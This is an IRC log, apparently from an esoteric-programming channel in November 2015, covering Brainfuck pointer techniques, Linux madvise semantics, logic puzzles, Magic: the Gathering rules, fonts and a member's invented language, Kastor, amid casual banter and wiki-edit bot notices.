13:17:30  The chameleon can't see that the unicorn is pink.
13:18:54  mroman: surely you must have heard of the invisible pink unicorn before...
13:19:05  It's ontologically pink, of course.
13:19:24  int-e: Nope.
13:19:26  (How does anyone know that it's a unicorn, for that matter?)
13:19:31  Not much of a unicorn fan.
13:19:39  Although I have heard that scots seem to like unicorns.
13:19:45  https://en.wikipedia.org/wiki/Invisible_Pink_Unicorn
13:19:59  Jafet: You can touch it and get a rough estimate of it's shape.
13:20:02  Or you can do a sonar
13:20:07  which gives you the shape of a unicorn.
13:20:47  (assuming it somehow alters electromagnetic waves to make it invisible. So using x-ray might not work then)
13:22:29  "It is common when discussing the Invisible Pink Unicorn to point out that because she is invisible, no one can prove that she does not exist"
13:22:32  That is so unscientific.
13:22:48  If it's just invisible doesn't mean it leaves no traces or does not reflect sound waves.
13:22:53  (I like the IPU much better than the FSM; they both have equal right to exist, but the IPU is so much more poetic)
13:22:53  (or produces sound waves for that matter)
13:23:29  How did they sex the invisible pink unicorn if she's invisible
13:23:46  Maybe she told them
13:23:47  Better leave that one unanswered.
13:25:04  FSM makes way more sense than an invisible unicorn.
13:27:01  no no, the invisible pink unicorn is much simpler than that
13:27:19  it's just a unicorn that is shy and almost never shows himself in front of others
13:27:41  so almost nobody has seen him, and the ones who have seen him generally aren't allowed to talk about it
13:27:53  but we know he's pink for two reasons:
13:28:13  1. he does sometimes show his horn, which is pink, and most unicorns have the same body color as their horn,
13:28:29  and 2. he can see himself, and says he's pink, and we trust him.
13:30:09  (there's an alternative of course, namely that he's a unicorn represented as rgba without premultiplied alpha, so there's color data of him stored even in the fully transparent pixels.)
13:44:34  FSM > IPU
13:58:26 -!- mroman has quit (Quit: Lost terminal).
14:02:11  > "FSM" `compare` "IPU"
14:02:13   LT
14:05:29  fsm < ipu < eris
14:38:44  As for these wiki formats that are supposed to be easy to use, I hate two things about the bbcode parser of phpBB:
14:39:55  (1) it takes all newlines in the source code to mean a 
 in the output, so you must leave no newlines in foo [list][*] bar [*] bar [/list] foo [quote=someone] hi [/quote] or else you'll get ugly output with way too much vertical blank space,
14:40:09  (2) it has no way to specify alternate text for images.
14:41:46  I mean, mediawiki very rarely does this thing where extra newlines in the source result in extra lines in the output, but it comes up in very rare conditions only, not like around every list or something.
14:42:12  Maybe I have to write some sort of html to bbcode transator for myself.
14:47:13  As the saying goes, it makes easy things easy and hard things impossible.
15:04:38  ok, crazy question, why does linux 4.4 add an mlock2 system call rather than just adding a mode to madvise, which already has modes that do more than just advise.
15:08:25 -!- andrew has joined.
15:10:59  madvise(2): "This call does not influence the semantics of the application"...
15:17:43  Jafet: that's the theory. no.
15:17:55  Jafet: some modes of madvise and fadvise are like that, but not all
15:18:21  s/fadvise/posix_fadvise/ or whatever it's called these days
15:19:20  Jafet: MADV_NORMAL, MADV_RANDOM, MADV_SEQUENTIAL, MADV_WILLNEED are indeed only optimization advise,
15:21:03  but MADV_DONTNEED does have semantics, it means what you wrote to that memory area can be discarded, MADV_REMOVE and MADV_DONTFORK and MADV_DOFORK similarly has semantics.
15:21:31  Well, DONTNEED only exists because people conflated address space and memory.
15:21:45  you could say that some of those should be modes in mprotect rather than madvise, but whatever.
15:22:31  I admit I'm not really familiar with the details of all this memory handling stuff, but I'm quite sure some modes of madvise can have semantics in Linux.
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17:11:24  https://www.codeeval.com/open_challenges/77/  i'm not sure about a thing, help me out
17:12:00  they say that every time i have to join the two words with the longest overlap
17:12:54  ok so i joined two words in turn 1.  now, next turn: will the longest overlap always be the new word + something?
17:13:19  Not necessarily
17:13:30  can you show an example?
17:13:53  ABCD, DEFG, MNO, NOP
17:14:04  First match makes ABCDEFG
17:14:06  well but there must be an overlap
17:14:30  ABCD, DEFG, GMNO, NOP then
17:14:39  thanks
17:15:37  now i'm being pedantic, but can you show an example in which joining the word i generated in turn 1 with something leads to an incorrect result?
17:17:09  ABCDE, CDEFG, GMNOP, MNOPQFG, FGX?
17:17:24  ok thanks, let me see
17:17:27  No, that's not right, but I think the principle's there
17:17:54  thanks
17:17:55  fungot, did you join two words with the longest overlap?
17:17:58  perfect example
17:19:13  They say that if at first you don't succeed, trie, trie, trie again.
17:21:53  It says that "Fragments must overlap at their start or end.", but also says ""ABCDEF" and "BCDE" overlap with overlap length 4" which doesn't overlap at the start or end of ABCDEF...
17:30:44  is this the "rebuild the secret message from lots of tiny scraps" challenge?
17:33:13  Yes
17:37:43  there are two similar ones
17:38:27  the other one is https://www.codeeval.com/open_challenges/185/
17:38:41  I've never done any of these, would you recommend them?
17:38:51  dunno
17:39:02  all i know is that they're painful to do in bash
17:41:11  Ahahaha
17:41:17  A lot of things are, to be fair
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17:52:45  is it possible that a piece that didn't exist at the beginning (== it was created by joining two pieces) fits inside another piece that likewise didn't exists at the beginning?
17:55:09  ABC, DEF, BCD, DCE
17:55:18  No
17:55:25  That doesn't work
17:55:28  Um... maybe?
17:59:29  i was just wondering if i can just join all of them in a preliminary step and never check that case again
18:00:23 -!- impomatic_ has quit (Ping timeout: 276 seconds).
18:16:25  blub
18:24:19  Oh wow I am so nervous
18:33:09 -!- mroman has joined.
18:33:12  fnard
18:35:37 -!- bb010g has joined.
19:11:12 -!- mroman has quit (Quit: Lost terminal).
19:30:00  The [3] before [2] is not a mistake. Also it is not related to prime numbers, but the "Modified Godel Encoding" which I suggested afterward is related to prime numbers.
19:32:07  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45586&oldid=45533 * Blakusl * (+138) 
19:33:39  i am dizzy
19:33:44  and sluggish
19:33:54  need more calories, liquid, and possibly caffeine
20:06:51 -!- hppavilion[1] has joined.
20:20:07  http://slbkbs.org/dontclick.txt
20:21:26 -!- hppavilion[1] has quit (Ping timeout: 276 seconds).
20:22:07  shachaf: 404 Not Found.
20:25:12  [wiki] [[Joke language list]]  http://esolangs.org/w/index.php?diff=45587&oldid=45217 * 114.78.113.191 * (+93) /* General languages */
20:28:20  [wiki] [[C++]] N http://esolangs.org/w/index.php?oldid=45588 * 114.78.113.191 * (+77) Created page with "A language created by Bjarne Stroustrup as a joke, but later got out of hand."
20:33:01  [wiki] [[Joke language list]]  http://esolangs.org/w/index.php?diff=45589&oldid=45587 * 114.78.113.191 * (+62) /* General languages */
20:40:51  lol
20:41:40  what is slbkbs
20:43:22  something like ben-kiki but snazzier
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21:12:12 <\oren\> should I have bacon and cookies for dinner?
21:14:34  no
21:14:36  that's silly
21:14:56  it's not a full dinner unless its cookies baked with bacon, or encrusted in bacon crumbles
21:17:03 <\oren\> argh. maybe I'll get pizza.
21:17:27 <\oren\> pizza is always good in this neighbourhood (I live in the centre of little italy)
22:09:43 -!- Doxin has joined.
22:10:13  so why would this program be an infinite loop: ++++++++++>++++++++++++[-<[->>+>+<<<]>>>[-<<<+>>>]<[->>+<<]<]>>>. ?
22:11:09 -!- Patashu has joined.
22:15:18  Hey there.
22:15:48  tswett: that aimed at me?
22:15:51  Lemme renotate that.
22:15:53  Yeah.
22:18:26  in brainfuck? it's not an infinite loop; it prints an 'x', apperently
22:18:44  huh
22:18:54  Silly notation: 10+ > 12+ [ - < dump(2R, 3R) >>> dump(3L) < dump(2R) < ]
22:18:55  well I must have been using a broken interpreter then
22:19:07  Which I made up just now and which isn't very good.
22:19:22  > chr 120
22:19:24   'x'
22:19:51  tswett: interestingly enough that bf code was generated from this: http://paste.pound-python.org/show/RyvonUvzf8BpWfFPXvDM/
22:19:52  (it computes 10*12)
22:21:00  int-e: that's the intention
22:21:17  so anyone know a good brainfuck interpreter that'll work on linux? https://www.youtube.com/watch?v=_iSRYfV_toY
22:21:19  uh
22:21:23  ignore that link
22:23:03  t[0] = 10; t[1] = 12; while (t[1]) { t[1]--; t[2] += t[0]; t[3] += t[0]; t[0] = 0; t[0] = t[3]; t[3] = 0; t[4] += t[2]; t[2] = 0 }; print(t[4])
22:23:06  Something like that.
22:23:10  That can be simplified, obviously.
22:23:37  well yes clearly
22:29:43 -!- mauris has quit (Ping timeout: 252 seconds).
22:30:28 -!- mauris has joined.
22:30:57  https://esolangs.org/wiki/Brainfuck_implementations is quite an impressive list
22:37:18 -!- kline has quit (Ping timeout: 276 seconds).
22:38:24  right, found one
22:40:14 -!- oerjan has joined.
22:41:02  next question: how do I go about doing indirect lookups without losing track of where the memory pointer is pointing?
22:41:06  indirection is hard
22:42:44 -!- kline has joined.
22:46:16  Leave a marker behind.
22:46:41  that seems prone to failure
22:46:49  Not if you do it perfectly.
22:46:54  I mean...
22:47:02  You can't pack the tape with payload data; some of it will have to be reserved for navigation data instead.
22:47:08  right
22:47:19  One common approach, I think, is to just alternate. One cell of payload, one cell of navigation, and so forth.
22:47:24  right
22:47:46  still doesn't tell me how to actually do it though
22:48:02  the rest is trivial
22:48:07  not to me
22:48:10  in the mathematical sense
22:48:36  where it means "possibly a lot of work but requires no real new ideas"
22:48:48  Well, here's one technique.
22:49:06  Figure out what your pointer is. Leave a marker in one navigation cell. Put your pointer into the other navigation cell.
22:49:31  Now, repeatedly copy the pointer to the next navigation cell, subtracting one each time.
22:49:38  One it hits zero, you're there, more or less.
22:49:43  ah, that's sensible
22:49:45  neat!
22:49:52  Then, when you want to go back, just look for the marker.
22:50:41  that has the disadvantage that it won't work for unbounded distance with bounded cells
22:51:05  but you can leave bookmarks behind
22:51:07 * int-e shrugs
22:51:26  it is tedious.
22:52:25  bookmarks are simpler when you don't need actual heaps of pointers
22:52:53  oerjan: do I misremeber or did you (plan to, perhaps) implement a linear slowdown brainfuck self-interpreter that moves its state along the tape?
22:52:56  tswett: that does limit your address size to the cell size
22:53:16  int-e: i thought about its design, no actual implementation
22:53:22  ah
22:53:51  because all the usual interpreters don't have eigenratios because they're slowdown is quadratic
22:54:04  or rather, dependent on tape length
22:54:10  their. right.
22:54:15  oops
22:55:45  Yeah, if you want to be able to access an *infinite* amount of memory (rather than a practically unlimited amount of memory), pointers don't really do the trick any more.
22:56:02  Well, I mean, I guess they do.
22:56:16  It's just that you'll have to do some weird stuff.
22:56:39  Like variable-size pointers. If you want to address more memory than your pointers can currently address, then make pointers bigger.
22:56:59  Double the size of your memory words.
22:57:20  Of course, that's going to require copying *all* of your memory (except maybe the first word) to a different location.
22:57:22  so anyway, yes, simulating a heap with pointers directly is a challenge. there's no doubt that it can be done in principle, but it's a mess.
22:57:26  tswett: I don't really care about infinite
22:57:31  tswett: I care about reasonable
22:57:34  *nod*
22:57:53  Well, if you can use one cell to represent an 8-bit number, you can use eight cells to represent a 64-bit number.
22:57:58  Or 32-bit or whichever.
22:58:03  right
22:59:08  (and if that's still boring you can think about making memory access faster by caching recently used cells nearby... *ducks*)
22:59:51  hah
23:00:00  Now, I wonder how you can serialize a graph as a sequence of symbols, without using ID strings.
23:00:15  And such that a Turing machine can reasonably operate on it.
23:00:36  (a "simple" memory access implementation will be linear, at best, in the address being accessed)
23:00:51  linear time, that is
23:01:10  (and it's much more likely to be quadratic)
23:02:22  I guess what makes the most sense to me is to serialize it as some sort of list of instructions for constructing the graph.
23:04:48  Start with a node, remember this node, dig, dig, dig, dig, dig to the remembered node, dig, remember this node, dig, dig, dig, dig, dig to the remembered node, follow this edge, that edge, blah blah blah.
23:05:05  I was actually going somewhere with that and then I decided to give up.
23:05:55  Y'know what, screw it, I'm going to come up with a complete list of instructions.
23:05:57 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:07:05 -!- hppavilion[1] has joined.
23:07:30  Ok, for the Arithmetic of the Functia I've defined a way that all real numbers and acceptable substitutes are a subset of functions
23:08:26  (Acceptable substitutes include naturals, integers, reals, complexes, surreals, surcomplexes, quaternions, octonions, sedenions, matrices of the aforementioned, etc.)
23:09:21  Start with a node, remember this node, dig a blue edge, dig a green edge, dig a red edge, dig a blue edge, dig a green edge to the remembered node, dig a red edge, remember this node, dig green, dig pink, dig blue, dig pink, dig blue to the remembered node, follow the green edge, remember this node, follow green, follow red, follow blue, follow green, dig blue to remembered, follow pink, remember, follow pink, follow blue, follow red, follow blue, dig 
23:09:21  red to remembered, follow blue, remember, follow blue, pink, blue, green, dig red to remembered, follow pink, remember, follow pink, red, green, red, dig green to remembered.
23:09:28  [wiki] [[Special:Log/delete]] delete  * Oerjan *  deleted "[[C++]]": I'll just quote ehird from the previous Deletion log item: "I can't wait for the third time I delete this page"
23:11:01  [wiki] [[Joke language list]]  http://esolangs.org/w/index.php?diff=45590&oldid=45589 * Oerjan * (-155) This page is not a joke, even if its contents are. Er...
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23:15:13  tswett: how are the colors not IDs tdnh
23:15:43  They don't uniquely identify edges.
23:16:12  you might need an unlimited number of colors anyway.
23:16:16  Yep.
23:16:20  Well, maybe not.
23:16:48  What if you're allowed to recolor edges, and also to delete edges and vertices and to join two vertices together along an edge?
23:17:12  god this monitor is awful
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23:29:44  I think I'll roll BOOL into the supertype NUM
23:31:18  as long as you make true + true = false = false + false
23:31:51  (spoiler: + should be xor)
23:49:51  oerjan: ^ is xor, but ⊤+⊥ will probably mean something
23:51:32  oerjan: Possibly xor as welll
23:51:34  *well
23:52:15  And ⊻ ALSO means xor
23:53:18  (But it's the logical xor, so it always returns a bool and accepts any boolable argument combination, whereas ^ is bitwise for ints and + will probably mean some other kind of xor)
23:53:46  oerjan: hmm, that palisade puzzle is addictive
23:54:56  int-e: YOU DON'T SAY
23:55:28  18x16 with regions of size 12 still works well
23:56:18  10x10 with regions of size 50 is kind of relaxing :)
23:56:38 * oerjan still on standard 15 x 10
23:56:48  er wait
23:56:54  15 x 12, size 10
23:57:33  of course that has to be the only one in the menu where the region size isn't a side length
23:58:31  i think it's fun when you pick up little tricks
23:59:00  like, if there is a choke point in the walls, you can tell which side it belongs to, by counting
23:59:48  (possibly both)

2015-11-22:

00:00:32  right, tedious, but it can help
00:00:34  hm wait it makes more sense to think of them as edges
00:03:52  and when you have a 1 cornering an edge where the other cornering edge is missing, you can deduce that the opposing edges of the 1 are also missing
00:08:15  that one is trickier to describe than to use
00:13:39  right
00:13:50  that's one that also works in loopy
00:14:25  Is matrix multiplication defined for matrices generalized to an aribitrary number of dimensions?
00:14:30  it's more powerful in loopy, because you don't need to know the other cornering edge is missing, that also follows
00:14:44  hppavilion[1]: there are tensors and tensor products, don't know details
00:14:59  int-e: That's good. 
00:15:14  or wait
00:15:20  scratch that
00:15:40  int-e: And are tensors like [n]D matrices?
00:15:57  not if you want to understand them, according to some people
00:16:26  https://en.wikipedia.org/wiki/Tensor
00:16:59  but in loopy, you can also do it backwards, if the opposite edges of the 1 are missing, you can deduce that the other edge of the corner must be missing too.
00:17:37  that's not true in palisade, since a corner can have 3 edges.
00:18:11  I know. In palisade, if you have two neighboring 3s, there must be a line in the middle; in loopy, you get two more forced lines from the same pattern...
00:19:33  int-e: i also know that.  i think that was the first trick i found in palisade.
00:19:57  i also found that quickly for loopy, except for the two forced lines which took me a long time.
00:20:28  oh and it also generates to all other loopy geometries.
00:20:57  for example if you have a triangle with a 2 bordering a square with a 3, as in some.
00:21:35  it's one of the most useful rules that work deep inside loopy, far from the borders
00:21:54  imo
00:22:28  *generalizes
00:22:31  yeah loopy has way more patterns of that sort, because you have full parity to work with instead of just one excluded number of neighbours (namely, 1).
00:22:37  hmm
00:22:46  number of neighbours -> degree
00:23:05  (since the former is too ambiguous)
00:23:28  anyway, sleep time
00:23:30  and it's fun in loopy when you can follow parity in a long path of unknown edges to deduce something at the other end
00:23:46  yeah :)
00:24:38  so i think loopy is still my overall favorite in the collection.
00:25:10  loopy, btw, also has a sort of choke point property: any enclosed area must have an even number of edges going in and out; this is sometimes useful in Nikoli's challenge (slitherlink) puzzles.
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00:26:41  hppavilion[1]: i think for matrices, "dimension" usually refers to the number of rows and/or columns.  for generalizing to more than two classes like "row" and "column" (i.e. tensors) the word is "rank".
00:27:09  http://nikoli.com/swf/sl.swf?loadUrl=/nfp/sl-1269.nfp&lang=1 ... hmm.
00:27:23  hppavilion[1]: oops, actually it's "order", afawps
00:28:55  I don't recall whether I used that parity property for that particular puzzle instance.
00:28:56  int-e: i've found that one two yes, it's the most global property i use (well, that + non-zero)
00:29:01  *one too
00:29:19  right, non-zero is the more obvious of the too :)
00:29:47  oerjan: Oh.
00:31:14  hppavilion[1]: hmph confusingly they use dimension for the arrays of numbers representing the tensor.
00:31:26  oerjan: Weirdos.
00:31:47  Oh, interest; Simon Tatham doesn't implement complete solvers for most of the puzzles...
00:32:02  ing
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00:33:20  int-e: does that mean there's a limited difficulty level for them?
00:34:01  oh that link you gave requires flash and i've gotten to the habit of disabling it. ->
00:34:20  oerjan: as far as we possibly see?
00:34:48  shachaf: what?
00:34:53  oh
00:34:58  as far as wikipedia says
00:35:40  wp, huh?
00:35:51  oerjan: in principle, yes; but he writes (in the documentation) that for many puzzles, since a computer is better at finding places where the simple techniques apply, people will resort to advanced techniques regardless.
00:36:05  oh nikoli's page doesn't have a way to mark lines as known empty
00:36:16  heh
00:36:30  oerjan: yes it does; click twice or shift-click
00:37:38  and one thing you can do on nikoli but not in tatham's puzzles is that you can drag the mouse to draw several lines at once... so neither interface is perfect
00:37:49  aha
00:38:40  shift-click is worse for my hands :(
00:39:39 -!- LemonEnt has quit (Ping timeout: 246 seconds).
00:39:42  both of them are
00:40:32  with my touchpad, neither of them can be completed in a single movement with each hand
00:43:22 * oerjan tries to use the dragging to make up for it
00:43:35  moar zzom
00:43:51  (the moar wasn't a typo, but the zzom was)
00:44:33  the new apple touch pad is pretty fancy
00:44:53  aha?
00:45:14  it feels like it clicks but it actually doesn't
00:45:39  wait why did i do that
01:14:29  I think I'll let users write polynomials (or a similar type of algebraic expression) in Kastor using a certain bracket pair
01:14:35  Only question is what brackets to use
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01:40:00  income brackets hth
01:40:32  as in income tax?
01:41:00  those are often half-open intervals, i think
01:41:15  so you probably want [...) or [...[
01:42:28  i expect when they're sane, they're at least continuous at the end points.
01:42:30 -!- boily has joined.
01:43:04  @google income brackets
01:43:05  http://www.efile.com/tax-service/tax-calculator/tax-brackets/
01:43:06  Title: Federal Income Tax Brackets for 2015 and Other Tax Years
01:43:33  (they're not always sane, of course.  astrid lindgren once toppled the swedish government by making public that her marginal tax was > 100%)
01:43:49  (at least that's how i like to interpret it.)
01:43:52  that says 10% for $1 - $9225 and 15% for $9226 to $37,450
01:44:09  so presumably that one dollar in the middle just isn't taxed
01:44:18  how kind
01:46:48 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
01:46:53  why is tax law in the us so complicated
01:47:09  i recently had the pleasure of reading parts of the internal revenue code. it was great.
01:47:28  but of course even reading the code isn't enough, you have to go by precedent and so on
01:47:32  too many special interests?
01:52:53  > prec IRS
01:52:55       Not in scope: ‘prec’
01:52:55       Perhaps you meant one of these:
01:52:55         ‘pred’ (imported from Prelude), ‘pre’ (imported from Control.Lens)Not ...
01:53:09  > pred IRS
01:53:11   Not in scope: data constructor ‘IRS’
01:53:23  > (0$0`IRS`) -- hth
01:53:25   Not in scope: data constructor ‘IRS’
01:53:28  darn
01:53:44  well that would have shown the precedence.
01:59:19  Are there any cards besides Panglacial Wurm that may result in a player following instructions on multiple cards simultaneously?
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02:05:06  helloily!
02:05:26  HAVE YOU HEARD THE PURPLE NEWS?
02:07:02  QUINTHELLOPIAAAAAAAAAAA!
02:07:08  what have you aubergined?
02:16:08  THERE IS A PURPLE PAGE ON THE ESOWIKI. I AM SATISFIED :D
02:19:05  (incidentally, there's an UberGenes page too.)
02:19:59  (as there are funges and brainfuck derivatives, shouldn't there be auberginey languages? auberginals? eggplants?)
02:22:43  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45591&oldid=45563 * Boily * (+272) Add proglang template
02:22:59  lol woohoo
02:23:45  i'm going to make a challenge on PPCG to write a Purple interpreter.
02:24:07  Can you imagine how short a Pyth implementation would be?
02:25:21  I should flash a 'duino with an aubergine VM or something ^^
02:26:35  (meanwhile, deep question on /r/showerthoughts: “Does a centaur suck milk from horse nipples or human ones?”)
02:34:01 * oerjan is starting to suspect int-e of having linked the same nikoli challenge puzzle that he did on a previous occasion
02:34:13 -!- mauris has quit (Ping timeout: 272 seconds).
02:34:15  "By the time they are old enough to reach human nipples, they should be weaning off"
02:34:16  the final stage gives me a deja vu feeling
02:34:55   (incidentally, there's an UberGenes page too.) <-- dammit, i only just got that
02:35:30  i suppose not being too backlogged to visit the page would have helped
02:35:31  hellørjan!
02:35:34  hoily!
02:35:52  I did an esowikiedit!
02:36:37  aha!
02:36:45  lies
02:37:04  chelloppro. I ain't be lying.
02:37:20  WITNESS THE INFALLIBLE BACKLOG!
02:37:21   quintopia: i'd like to point out that human babies cannot reach human nipples either, without help
02:37:37  even as an adult, I can't reach my nipples.
02:37:52  boily: maybe you should get that looked at.
02:38:35 * boily likes the fact that he's alone in his apartment and nobody saw him try to lick his own nipple.
02:38:36  boily: i'm glad we agree the aubergine extension is .aub
02:38:49  what else.
02:40:34 <\oren\> 塔塗塚塞塡塾境墓増墜墨墳墾壁壇壊壌奇奈奉
02:40:34 <\oren\> 奏契奔奥妙妥妨妬孔存孝孤宰宴宵寸寿封尽寝
02:40:35 <\oren\> 尚峠斗斤斥爽
02:40:56 <\oren\> also ℵℶℷℸ
02:41:24  \オレンくんこんばんは\
02:42:10  you managed to plug 墨 in your font?
02:42:38 <\oren\> 当たり前だ！
02:42:45  \oren\: whoa whoa whoa
02:42:57  those are mathematical letters, aren't they
02:42:58  tdnh
02:43:25 <\oren\> I made them taller than the equivalent hebrew letters
02:44:10 <\oren\> http://www.orenwatson.be/fontdemo.htm <- they are green
02:44:12  they're ltr
02:44:15  bizarre imo
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02:56:06  tswett: In some cases there are mana steps (that includes in the process of casting a spell even if something else tells to cast it, or a payment for a triggered ability, or something else), so maybe there is other possibility too. (maybe)
02:56:34  Yeah, that's true. Lots of cards result in you being able to activate mana abilities.
02:58:14  Some mana abilities also have other effects, such as sacrificing permanents or damaging you (and replacement effects may apply to this damage)
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03:10:48  oerjan: why am i playing this palisade game twh
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03:13:11  shachaf: perfectly crafted temptation hth
03:16:00 <\oren\> can I counter a spell by using an instant to destroy a land  that my opponent needs in order to pay for it
03:16:47  Not if the land produces mana with a mana ability.
03:17:05  And it wouldn't be countering in any case.
03:25:40  Destroying a land does not counter its ability, and if it is a mana ability then it already resolves anyways. Also you can't cast instants during a mana step (there are no interrupts any more; in the old rules mana abilities were interrupts). Even so it can be tapped for mana in response to the destruction spell (if it is not already tapped)
03:26:23  What if there was an effect that said that mana is emptied from the mana pool each time something resolves?
03:26:55  \oren\: no, because you don't get priority until your opponent has already paid it.
03:28:23  shachaf: No, the trigger just would go on the stack, I think
03:28:46  shachaf: I think that would be a mandatory infinite loop, because it would trigger every time it resolves.
03:29:00  You could make it not be a triggered ability, I guess.
03:29:04  Yes, it would trigger itself too clearly
03:29:14  shachaf: Yes, such as a replacement effect I suppose?
03:29:40  I guess you could use an intervening if. "Whenever a spell or ability resolves, if any player has mana in his or her mana pool, ..."
03:30:53  Yes I suppose that can be another way
03:33:20  All right, what did I learn today? For the ability "Chameleon Colossus gets +X/+X until end of turn, where X is its power", X is determined when the ability resolves and that number persists.
03:33:43  All the other game rule questions I got wrong were due to mistakes.
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03:36:47  Which questions?
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03:53:21  oerjan: which size do you play
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03:53:48  [wiki] [[User:Esowiki201529A/test link]] N http://esolangs.org/w/index.php?oldid=45592 * 103.3.98.227 * (+9432) Created page with "           [[网站首页]]       [[关于我们]]       [[新闻中心]]       [[产品展示]]       [[在线留言]]       [[联系我们]]                   栏目分类  ..."
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03:56:12  pizzicato
03:58:09  shachaf: 15 x 12, size 8
03:58:22  whoa whoa whoa
03:58:24  you can do that?
03:58:34  [wiki] [[User:Esowiki201529A/test link]]  http://esolangs.org/w/index.php?diff=45593&oldid=45592 * 103.3.98.227 * (+619) 
03:59:48  of course, it's in the type menu (for the standalone version, anyway, but i recall the online games have similar selections
04:00:06  there's also a Custom option
04:00:17  the online game has 15x12, size 10
04:00:22  oops
04:00:25  and 10x8, size 8
04:00:26  darn i meant 10
04:00:33  ah
04:00:48  > 15 * 12 `mod` 8
04:00:51   4
04:00:54  PROBABLY NOT
04:01:37  hm a version where you have two different region sizes...
04:01:43 -!- kline has joined.
04:04:01 <\oren\> maybe instead of fucking about with fread fseek ftell and fwrite I should use mmap
04:04:44 <\oren\> iirc theres a speed increase with mmap anyway
04:04:54  shachaf: int-e was doing 18 x 16, size 12
04:05:08  oh and 10 x 10, size 50
04:05:22 * oerjan only now realized what was weird about that one
04:05:52  is the weird thing that you have two regions or something else
04:05:57  yeah
04:06:13  tdnh
04:06:26 * oerjan should try that and see how it works
04:06:28  to be fair, that wasn't a very good question
04:06:53  but first i must finish this one...
04:07:53  just 3 regions left but they're a bit evil
04:08:09  unless i'm missing something obvious as usual
04:08:22  how much backtracking do you need for this game
04:08:30  backtracking is scow
04:08:36  i never backtrack unless i make an error
04:08:42  well, not so far, anyway
04:09:34  in other words i haven't needed it yet
04:10:25  oh of course, i missed that those big open spaces were bordering
04:11:30  oh there were actually 4 regions left, i misestimated
04:12:04  finished
04:12:44  now to the 2 region one.  lots of 0s...
04:15:28 -!- mauris has joined.
04:17:11  well that was pretty easy
04:29:53 -!- hppavilion[1] has joined.
04:30:57  Perhaps ⁅⁆ would be good for mathematical expressions?
04:41:53  I'm defining 𝔹 as the set of booleans
04:47:49  Hm...
04:50:20  I kind of need a set (well, class) marker to denote the surreals...
05:00:18  I'll use 𝕀 for the pure imaginaries
05:05:08 -!- ^v has quit (Ping timeout: 250 seconds).
05:09:40  So I'm adding an abstract builtin type "DIM" to Kastor that expresses a space, for example, the dimensions of a matrix
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05:30:01  So I've defined the operator ×, which accepts two integers (or another DIM and an integer, or two DIMs) and produces a DIM of the size m×n. You can, for example, raise an abstract set to the power of a DIM to get the matrix type
05:30:40  It's weird and complicated
05:37:48  Hm... Generalizing modular arithmetic to ℂ (or more likely, the Gaussian integers) could be interesting
05:44:02  ‽ operator. Wonder what I should make it do.
05:46:09  ⁘ ⁙ ⁚ ⁛ ⁝ ⁞ ⸪ ⸫ ⸬ ⸭ operators as well, I suppose
05:51:22  Perhaps I should make ™ a postfix operator xD
05:56:38  \oren\: Since no one's answering, I'm dragging you into this.
05:58:39  I just thought of something weird the syntax of Kastor allows you to do. \ followed by a name is the "anonymize" operator (though it's not so much an operator as a syntactic element, unless I change my mind); it takes a name and converts it to an anonymous name. Consider the expression "x = \x". That's valid Kastor.
06:01:06  [wiki] [[TM operator]] N http://esolangs.org/w/index.php?oldid=45594 * Hppavilion1 * (+252) Created Page
06:02:07  How about you, oerjan?
06:03:01  (I just found neoletters is 1000000% easier to read if set to size 12, but a bit big)
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06:03:30  No?
06:03:46  quintopia?
06:04:44  (Perhaps the TM operator should just delete the variable it is applied to and return its value)
06:20:12  I invented the "traitor scheming" variant of the Magic: the Gathering archenemy game.
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06:24:46  Another kind of game could be draft that includes planes
06:26:22 <\oren\> hppavilion[1]: it is meant for size 12 = 16 pixels 
06:26:55  Ah, OK
06:26:58  That makes sense.
06:27:06 <\oren\> if you use a size that isn't a multiple of 16 pixels it won't look good at all
06:27:26  \oren\: That makes sense now.
06:30:05 <\oren\> The annoying thing is on mac sixe 16 is the same size as 12 is on windows and linux
06:31:44 <\oren\> so for mac, 1px = 1pt while on windows 1px = 0.75pt
06:32:57  oerjan: i played a 10x10/50 game and it was perfectly divided with a straight line in the middle
06:33:00  is that unusual?
06:38:07 <\oren\> yeah my font looks horrible at 8 pt
06:38:26  shachaf: i don't know, i've only played the one
06:40:00 <\oren\> size 6 is hard to read, but better than 8
06:41:27 <\oren\> size 9 is... meh
06:41:40 <\oren\> I should put this info on my page
06:45:37 <\oren\> there
06:46:29  TIL that the phrase "best mathematical properties" is used on Wiki's page on numbers
06:46:57  Universal properties are the best.
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08:13:50  Ugh, I'm trying to include blackboard bold digits in Arithmetic of the Functia, but it looks like TeX doesn't allow that because Donald Knuth and the AMS are both assholes
08:14:24  Nor does just including the builtin symbols work
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08:25:57  Then make your own font with METAFONT.
08:26:03  zzo38: Nuuuuuuuuuu
08:26:19  I just give up and I'm going to recommend people not use blackboard bold xD
08:26:26  You can look at the existing ones to see how it work and then make the font based on that one.
08:26:30  It was a nice idea, but it would only really serve to confuse in the end
08:27:04  zzo38: For the Arithmetic of the Functia, I figured that we can treat numbers as functions
08:27:29  Specifically, a number n can be treated as a function with one argument x that is defined as n*x
08:27:40  Which makes sense given the syntax 5(x) and the like
08:27:56  TeX allows you to use any font you want to as long as metrics in TFM format are available. (Clearly you will need glyphs as well, although TeX doesn't care about glyphs.)
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08:35:05  zzo38: Great. Now that I've defined that numbers our functions, along with dealing with allowing functions to be raised to the power of a number ( f**2(x)=f(f(x)) ), I think I need to define f**g and similar things xD
08:35:29  s/our/are/
08:35:34  Have any ideas?
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08:39:45  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45595&oldid=45585 * Quintopia * (-10) /* Python 2 */ Oops how did that bug slip by.
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12:25:55  http://web.cecs.pdx.edu/~trent/gnu/tcl-not  stallman on tcl
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15:19:51 <\oren\> good mroing
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15:47:18  Hi
15:47:39  no taneb
15:47:46  Aww
15:49:45  @tell hppavilion[1] The idea behind Church numerals is that if C_n is the numeral for n, then C_n(f) is f**n. If you wanted to do this particular generalization, f**g would simply be g(f).
15:49:45  Consider it noted.
15:57:24  Taneb: no no, "no" means "hi", so Phantom_Hoover was greeting you.
16:00:25  noswett
16:00:46  Tanob
16:05:57 <\oren\> hellambdabot!
16:07:03 <\oren\> > (5^3)
16:07:05   125
16:07:10 <\oren\> boo
16:07:18 <\oren\> > (5 xor 3)
16:07:19       Could not deduce (Num a1)
16:07:19       from the context (Num a2, Num ((a -> a -> a) -> a2 -> t), Bits a)
16:07:19         bound by the inferred type for ‘e_153’:
16:07:55 <\oren\> :t xor
